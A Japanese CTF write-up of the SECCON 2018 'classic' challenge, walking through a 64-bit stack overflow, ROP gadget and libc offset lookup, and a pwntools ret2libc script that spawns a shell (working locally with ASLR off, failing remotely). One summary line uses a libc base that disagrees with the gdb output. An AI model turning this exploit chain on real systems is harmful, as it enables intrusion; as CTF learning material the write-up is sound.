SECCON2018 初めてのPWN実戦

flagを取れたwrite up・・ではない

実践で初めてpwnに挑戦した。結果flagは取れず、、、

結果ASLRを上手く回避できなかった。

でもローカル環境、ASLR無効の状態ではシェルを取れたのがすごく嬉しかったんだなぁ、これが。

良い勉強になったと思っているので、フラグが取れなかったが、備忘録的な意味で書いておく。

classic pwn

ELF64bitとlibc-2.23.soが与えられている。checksecしたところ、NXのみenableなので、windowsの世界でいうDEPが有効になっている。

動かしたところBOFする事はすぐにわかる。

32bitだとEIPにBOFした文字列が入るが、64bitだとRIPに文字列が入らない。

何度もstraceでSegmentation faultがでるかを繰り返して、72文字めでBOFする事が分かった。

python -c 'print("A"*72)' | strace -i ./classic

 

攻撃の方針

色々調べた結果、popret処理を呼び出して、ret2libcしてshellを奪う。

stackが以下になればいいハズ!

“/ bin / sh”の文字列をRDIにコピーするROP

計算や関数の第一引数として利用するのはRDIに”/bin/sh”を突っ込みたい。

こいつはtoolがあったので、そのまま実行した。

$ ropper --file classic --search "% ?di"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: % ?di

[INFO] File: classic
0x0000000000400698: add byte ptr [rax], al; mov rdi, rax; call 0x530; mov eax, 0; pop rbp; ret; 
0x00000000004006d1: call 0x560; mov edi, 0x40079f; call 0x520; mov eax, 0; leave; ret; 
0x00000000004006d6: mov edi, 0x40079f; call 0x520; mov eax, 0; leave; ret; 
0x00000000004005d0: mov edi, 0x601050; jmp rax; 
0x000000000040069b: mov edi, eax; call 0x530; mov eax, 0; pop rbp; ret; 
0x000000000040069a: mov rdi, rax; call 0x530; mov eax, 0; pop rbp; ret; 
0x00000000004005cf: pop rbp; mov edi, 0x601050; jmp rax; 
0x0000000000400753: pop rdi; ret;

0x0000000000400753 がそうであるハズ。

“/bin/sh”の文字列

こいつはlibc-2.23.soから持ってくきた。

$ strings -a -tx ./libc-2.23.so | grep "sh$"
  11e62 inet6_opt_finish
  12d5b _IO_wdefault_finish
  12f86 bdflush
  13302 _IO_fflush
  13379 _IO_file_finish
  159c3 tcflush
  15c53 _IO_default_finish
 18a145 Trailing backslash
 18acf8 sys/net/ash
 18cd57 /bin/sh
 18e8e2 /bin/csh
 1c6e11 .gnu.hash
 1c711b .gnu.warning.__compat_bdflush

libc-2.23.so の先頭から 0x18cd57 が/bin/sh

system関数のアドレス

$ readelf -s ./libc-2.23.so | grep " system"
  1351: 0000000000045390    45 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.2.5

libc-2.23.so の先頭から0x00045390バイトの位置にある

共有ライブラリのロード位置の確認

実行中のプロセスにおいて共有ライブラリがどのアドレスにロードされているかはgdbを使うと

$ gdb -q classic 
Reading symbols from classic...(no debugging symbols found)...done.
gdb-peda$ start


gdb-peda$ info proc mappings
process 24359
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
            0x400000           0x401000     0x1000        0x0 /home/ctf4b/Desktop/pwn/classic
            0x600000           0x601000     0x1000        0x0 /home/ctf4b/Desktop/pwn/classic
            0x601000           0x602000     0x1000     0x1000 /home/ctf4b/Desktop/pwn/classic
      0x7ffff7a0d000     0x7ffff7bcd000   0x1c0000        0x0 /lib/x86_64-linux-gnu/libc-2.23.so
      0x7ffff7bcd000     0x7ffff7dcd000   0x200000   0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
      0x7ffff7dcd000     0x7ffff7dd1000     0x4000   0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
      0x7ffff7dd1000     0x7ffff7dd3000     0x2000   0x1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
      0x7ffff7dd3000     0x7ffff7dd7000     0x4000        0x0 
      0x7ffff7dd7000     0x7ffff7dfd000    0x26000        0x0 /lib/x86_64-linux-gnu/ld-2.23.so
      0x7ffff7fdf000     0x7ffff7fe2000     0x3000        0x0 
      0x7ffff7ff8000     0x7ffff7ffa000     0x2000        0x0 [vvar]
      0x7ffff7ffa000     0x7ffff7ffc000     0x2000        0x0 [vdso]
      0x7ffff7ffc000     0x7ffff7ffd000     0x1000    0x25000 /lib/x86_64-linux-gnu/ld-2.23.so
      0x7ffff7ffd000     0x7ffff7ffe000     0x1000    0x26000 /lib/x86_64-linux-gnu/ld-2.23.so
      0x7ffff7ffe000     0x7ffff7fff000     0x1000        0x0 
      0x7ffffffde000     0x7ffffffff000    0x21000        0x0 [stack]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]

libc-2.23.so は 0x7ffff7a0d000

つまり

“/bin/sh”: 0x7ffff7bcd000 + 0x18cd57
system: 0x7ffff7bcd000 + 0x00045390

上記となる。

exploit code

write upでよく見る感じのやつ。

#!/usr/bin/env python
import sys
import struct
from subprocess import Popen
from pwn import *

host = "localhost"
port = 8888

r = remote(host, port)

bufsize = 72
ropret = 0x0000000000400753
libc_base = 0x7ffff7a0d000
binshoffset = 0x0018cd57
systemoffset = 0x00045390

buf = ''
buf += 'A' * bufsize
buf += struct.pack('<Q', ropret)
buf += struct.pack('<Q', libc_base + binshoffset)
buf += struct.pack('<Q', libc_base + systemoffset)

r.recvuntil(' >> ')
r.sendline(buf)
r.interactive()

初めて成功したexploit code!ちょっと感動。

バージョンが7なのは、察していただければ・・w

flag自体は、リモートサーバ側はASLRが効いていて、共有ライブラリの位置がわからず、ブルートフォースするも間に合わず・・(64bitはブルートフォース非現実的らしい)

結果、flagは取れなかった。

他の人のwrite upをみると64bitにはOne-gadget-rceたる便利な攻撃が聞くらしい。

でも、どのみち、libcのbaseアドレスのリークは必要だったみたい。

今回でpwn楽しーーってなった。pwnpwn

libc baseアドレスリークの勉強しよう。

 

得に役にたったサイトは以下

https://blog.techorganic.com/2015/04/21/64-bit-linux-stack-smashing-tutorial-part-2/